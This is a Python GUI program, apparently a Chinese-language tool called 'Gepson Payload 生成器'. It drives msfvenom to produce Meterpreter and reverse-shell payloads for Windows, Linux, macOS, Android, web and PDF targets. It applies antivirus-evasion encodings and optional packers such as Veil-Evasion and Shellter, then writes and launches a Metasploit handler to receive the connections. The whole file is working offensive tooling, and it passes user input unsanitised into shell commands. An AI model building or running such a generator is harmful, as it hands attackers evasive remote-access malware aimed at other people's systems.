import os
import subprocess
import random
import tkinter as tk
from tkinter import ttk, messagebox

# 定义操作系统选项
OS_OPTIONS = {
    "Windows": "windows",
    "Linux": "linux",
    "Mac": "mac",
    "Android": "android",
    "Web": "web",
    "PDF": "pdf"
}

# 定义文件格式选项
FORMAT_OPTIONS = {
    "windows": {
        "EXE": "exe",
        "DLL": "dll",
        "VBA": "vba",
        "PowerShell": "ps1",
        "HTA": "hta",
        "ASP": "asp",
        "ASPX": "aspx",
        "JavaScript": "js",
        "VBScript": "vbs",
        "Python": "python",
        "C": "c",
        "原始二进制": "raw",
        "Hex": "hex",
        "JAR": "jar",
        "WAR": "war",
        "Bash": "bash",
        "Perl": "perl",
        "Ruby": "ruby",
        "PowerShell脚本": "powershell"
    },
    "linux": {
        "ELF": "elf",
        "Bash脚本": "sh",
        "Python": "python",
        "Perl": "pl",
        "C": "c",
        "原始二进制": "raw",
        "Hex": "hex",
        "Java类文件": "java",
        "JAR": "jar",
        "WAR": "war"
    },
    "mac": {
        "Mach-O": "macho",
        "Python": "python",
        "Bash脚本": "sh",
        "C": "c",
        "原始二进制": "raw",
        "Hex": "hex",
        "Java类文件": "java",
        "JAR": "jar",
        "WAR": "war"
    },
    "android": {
        "APK": "apk",
        "原始二进制": "raw",
        "Hex": "hex",
        "Java类文件": "java",
        "JAR": "jar",
        "WAR": "war"
    },
    "web": {
        "PHP": "php",
        "JSP": "jsp",
        "WAR": "war",
        "JavaScript": "js",
        "HTML": "html",
        "ASP": "asp",
        "ASPX": "aspx",
        "Python": "python",
        "Ruby": "ruby",
        "Perl": "perl",
        "Bash": "bash",
        "原始二进制": "raw"
    },
    "pdf": {
        "PDF": "pdf",
        "原始二进制": "raw"
    }
}

# 定义 Payload 选项
PAYLOAD_OPTIONS = {
    "windows": {
        "Windows Meterpreter Reverse TCP": "windows/meterpreter/reverse_tcp",
        "Windows Shell Reverse TCP": "windows/shell_reverse_tcp",
        "Windows x64 Meterpreter Reverse TCP": "windows/x64/meterpreter/reverse_tcp",
        "Windows x64 Shell Reverse TCP": "windows/x64/shell_reverse_tcp",
        "Windows Meterpreter Reverse HTTP": "windows/meterpreter/reverse_http",
        "Windows Meterpreter Reverse HTTPS": "windows/meterpreter/reverse_https"
    },
    "linux": {
        "Linux x86 Meterpreter Reverse TCP": "linux/x86/meterpreter/reverse_tcp",
        "Linux x86 Shell Reverse TCP": "linux/x86/shell_reverse_tcp",
        "Linux x64 Meterpreter Reverse TCP": "linux/x64/meterpreter/reverse_tcp",
        "Linux x64 Shell Reverse TCP": "linux/x64/shell_reverse_tcp",
        "Linux x86 Meterpreter Reverse HTTP": "linux/x86/meterpreter/reverse_http",
        "Linux x86 Meterpreter Reverse HTTPS": "linux/x86/meterpreter/reverse_https"
    },
    "mac": {
        "macOS x86 Shell Reverse TCP": "osx/x86/shell_reverse_tcp",
        "macOS x64 Shell Reverse TCP": "osx/x64/shell_reverse_tcp",
        "macOS x86 Meterpreter Reverse TCP": "osx/x86/meterpreter/reverse_tcp",
        "macOS x64 Meterpreter Reverse TCP": "osx/x64/meterpreter/reverse_tcp"
    },
    "android": {
        "Android Meterpreter Reverse TCP": "android/meterpreter/reverse_tcp",
        "Android Shell Reverse TCP": "android/shell_reverse_tcp",
        "Android Meterpreter Reverse HTTP": "android/meterpreter/reverse_http",
        "Android Meterpreter Reverse HTTPS": "android/meterpreter/reverse_https"
    },
    "web": {
        "PHP Meterpreter Reverse TCP": "php/meterpreter/reverse_tcp",
        "Java JSP Shell Reverse TCP": "java/jsp_shell_reverse_tcp",
        "Java JSP Shell Reverse HTTP": "java/jsp_shell_reverse_http",
        "Java JSP Shell Reverse HTTPS": "java/jsp_shell_reverse_https",
        "Python Meterpreter Reverse TCP": "python/meterpreter/reverse_tcp",
        "Python Shell Reverse TCP": "python/shell_reverse_tcp",
        "Ruby Shell Reverse TCP": "ruby/shell_reverse_tcp",
        "Ruby Shell Reverse HTTP": "ruby/shell_reverse_http",
        "Ruby Shell Reverse HTTPS": "ruby/shell_reverse_https",
        "Node.js Shell Reverse TCP": "nodejs/shell_reverse_tcp"
    },
    "pdf": {
        "自定义 Payload": "generic/custom",
        "Windows Meterpreter Reverse TCP": "windows/meterpreter/reverse_tcp"
    }
}

# 定义免杀模式选项
EVASION_OPTIONS = {
    "无免杀": "none",
    "Shikata Ga Nai 编码": "shikata_ga_nai",
    "XOR 编码": "xor",
    "Base64 编码": "base64",
    "AES256 编码": "aes256"
}

# 混淆工具选项
OBFUSCATION_TOOLS = {
    "Veil-Evasion": "veil-evasion",
    "Shellter": "shellter",
    "Hyperion": "hyperion",
    "UPX": "upx",
    "无混淆": "none"
}

class PayloadGeneratorApp:
    def __init__(self, root):
        self.root = root
        self.root.title("Gepson Payload 生成器")
        self.root.geometry("800x600")  # 固定窗口大小
        self.root.resizable(False, False)  # 禁止调整窗口大小

        # 创建 Canvas 作为背景
        self.canvas = tk.Canvas(self.root, bg="black", highlightthickness=0)
        self.canvas.pack(fill="both", expand=True)

        # 启动数字雨特效
        self.digital_rain()

        # 主操作界面
        self.create_main_interface()

        # 软件介绍
        self.create_intro()

    def digital_rain(self):
        """数字雨特效"""
        width = self.root.winfo_width()
        height = self.root.winfo_height()

        # 清空 Canvas
        self.canvas.delete("all")

        # 生成随机数字
        for _ in range(100):  # 每次生成 100 个数字
            x = random.randint(0, width)
            y = random.randint(0, height)
            char = random.choice("0123456789")
            self.canvas.create_text(x, y, text=char, fill="green", font=("Courier", 12))

        # 每隔 50 毫秒更新一次
        self.root.after(50, self.digital_rain)

    def create_main_interface(self):
        """创建主操作界面"""
        # 操作系统选择
        tk.Label(self.root, text="选择目标操作系统:", font=("Helvetica", 12), bg="black", fg="white").place(x=10, y=10)
        self.os_var = tk.StringVar()
        self.os_combobox = ttk.Combobox(self.root, textvariable=self.os_var, values=list(OS_OPTIONS.keys()), width=50)
        self.os_combobox.place(x=200, y=10)
        self.os_combobox.bind("<<ComboboxSelected>>", self.update_format_options)

        # 文件格式选择
        tk.Label(self.root, text="选择文件格式:", font=("Helvetica", 12), bg="black", fg="white").place(x=10, y=50)
        self.format_var = tk.StringVar()
        self.format_combobox = ttk.Combobox(self.root, textvariable=self.format_var, width=50)
        self.format_combobox.place(x=200, y=50)

        # Payload 选择
        tk.Label(self.root, text="选择 Payload:", font=("Helvetica", 12), bg="black", fg="white").place(x=10, y=90)
        self.payload_var = tk.StringVar()
        self.payload_combobox = ttk.Combobox(self.root, textvariable=self.payload_var, width=50)
        self.payload_combobox.place(x=200, y=90)

        # 免杀模式选择
        tk.Label(self.root, text="选择免杀模式:", font=("Helvetica", 12), bg="black", fg="white").place(x=10, y=130)
        self.evasion_var = tk.StringVar()
        self.evasion_combobox = ttk.Combobox(self.root, textvariable=self.evasion_var, values=list(EVASION_OPTIONS.keys()), width=50)
        self.evasion_combobox.place(x=200, y=130)

        # IP 地址和端口输入
        tk.Label(self.root, text="监听 IP 地址 (LHOST):", font=("Helvetica", 12), bg="black", fg="white").place(x=10, y=170)
        self.lhost_entry = tk.Entry(self.root, font=("Helvetica", 12), width=50)
        self.lhost_entry.place(x=200, y=170)

        tk.Label(self.root, text="监听端口 (LPORT):", font=("Helvetica", 12), bg="black", fg="white").place(x=10, y=210)
        self.lport_entry = tk.Entry(self.root, font=("Helvetica", 12), width=50)
        self.lport_entry.place(x=200, y=210)

        # 生成 Payload 按钮
        tk.Button(self.root, text="生成 Payload", font=("Helvetica", 12), command=self.generate_payload).place(x=350, y=250)

    def create_intro(self):
        """创建软件介绍区域"""
        intro_text = """
        本软件用于生成 Metasploit Payload，支持多种操作系统、文件格式和免杀模式。
        生成 Payload 后，可选择混淆工具进一步处理，并启动 Metasploit 监听器。
        """
        tk.Label(self.root, text=intro_text, font=("Helvetica", 10), bg="black", fg="white", justify="left").place(x=10, y=300)

        # 开发者和版本信息
        tk.Label(self.root, text="开发者: Gepson", font=("Helvetica", 10), bg="black", fg="white", justify="left").place(x=10, y=400)
        tk.Label(self.root, text="版本: v1.0", font=("Helvetica", 10), bg="black", fg="white", justify="left").place(x=10, y=420)

    def update_format_options(self, event):
        """更新文件格式选项"""
        os_type = OS_OPTIONS[self.os_var.get()]
        self.format_combobox["values"] = list(FORMAT_OPTIONS[os_type].keys())
        self.payload_combobox["values"] = list(PAYLOAD_OPTIONS[os_type].keys())

    def generate_payload(self):
        """生成 Payload"""
        os_type = OS_OPTIONS[self.os_var.get()]
        file_format = FORMAT_OPTIONS[os_type][self.format_var.get()]
        payload = PAYLOAD_OPTIONS[os_type][self.payload_var.get()]
        evasion = EVASION_OPTIONS[self.evasion_var.get()]
        lhost = self.lhost_entry.get()
        lport = self.lport_entry.get()

        output_file = f"payload.{file_format}"
        command = f"msfvenom -p {payload} LHOST={lhost} LPORT={lport} -f {file_format} -o {output_file}"
        
        if evasion != "none":
            command += f" -e {evasion}"
        
        try:
            result = subprocess.run(command, shell=True, check=True, capture_output=True, text=True)
            abs_path = os.path.abspath(output_file)
            messagebox.showinfo("成功", f"Payload 已生成:\n{abs_path}")

            # 混淆 Payload
            self.obfuscate_payload(output_file)

            # 启动监听器
            self.start_listener(payload, lhost, lport)
        except subprocess.CalledProcessError as e:
            messagebox.showerror("错误", f"Payload 生成失败:\n{e.stderr}")

    def obfuscate_payload(self, output_file):
        """混淆 Payload"""
        obfuscation_tool = messagebox.askquestion("混淆 Payload", "是否混淆 Payload？")
        if obfuscation_tool == "yes":
            tool = messagebox.askquestion("选择混淆工具", "选择混淆工具:\n1. Veil-Evasion\n2. Shellter\n3. Hyperion\n4. UPX")
            if tool == "1":
                os.system(f"veil-evasion -f {output_file}")
            elif tool == "2":
                os.system(f"shellter -a -f {output_file}")
            elif tool == "3":
                os.system(f"hyperion {output_file} {output_file}.obfuscated")
            elif tool == "4":
                try:
                    subprocess.run(f"upx {output_file}", shell=True, check=True)
                except subprocess.CalledProcessError as e:
                    messagebox.showerror("错误", f"UPX 混淆失败:\n{e.stderr}")

    def start_listener(self, payload, lhost, lport):
        """启动监听器"""
        start = messagebox.askquestion("启动监听器", "是否启动 Metasploit 监听器？")
        if start == "yes":
            handler_script = f"""
            use exploit/multi/handler
            set PAYLOAD {payload}
            set LHOST {lhost}
            set LPORT {lport}
            exploit
            """
            handler_path = os.path.expanduser("~/handler.rc")
            with open(handler_path, "w") as f:
                f.write(handler_script)
            subprocess.run(["msfconsole", "-r", handler_path])

if __name__ == "__main__":
    root = tk.Tk()
    app = PayloadGeneratorApp(root)
    root.mainloop()
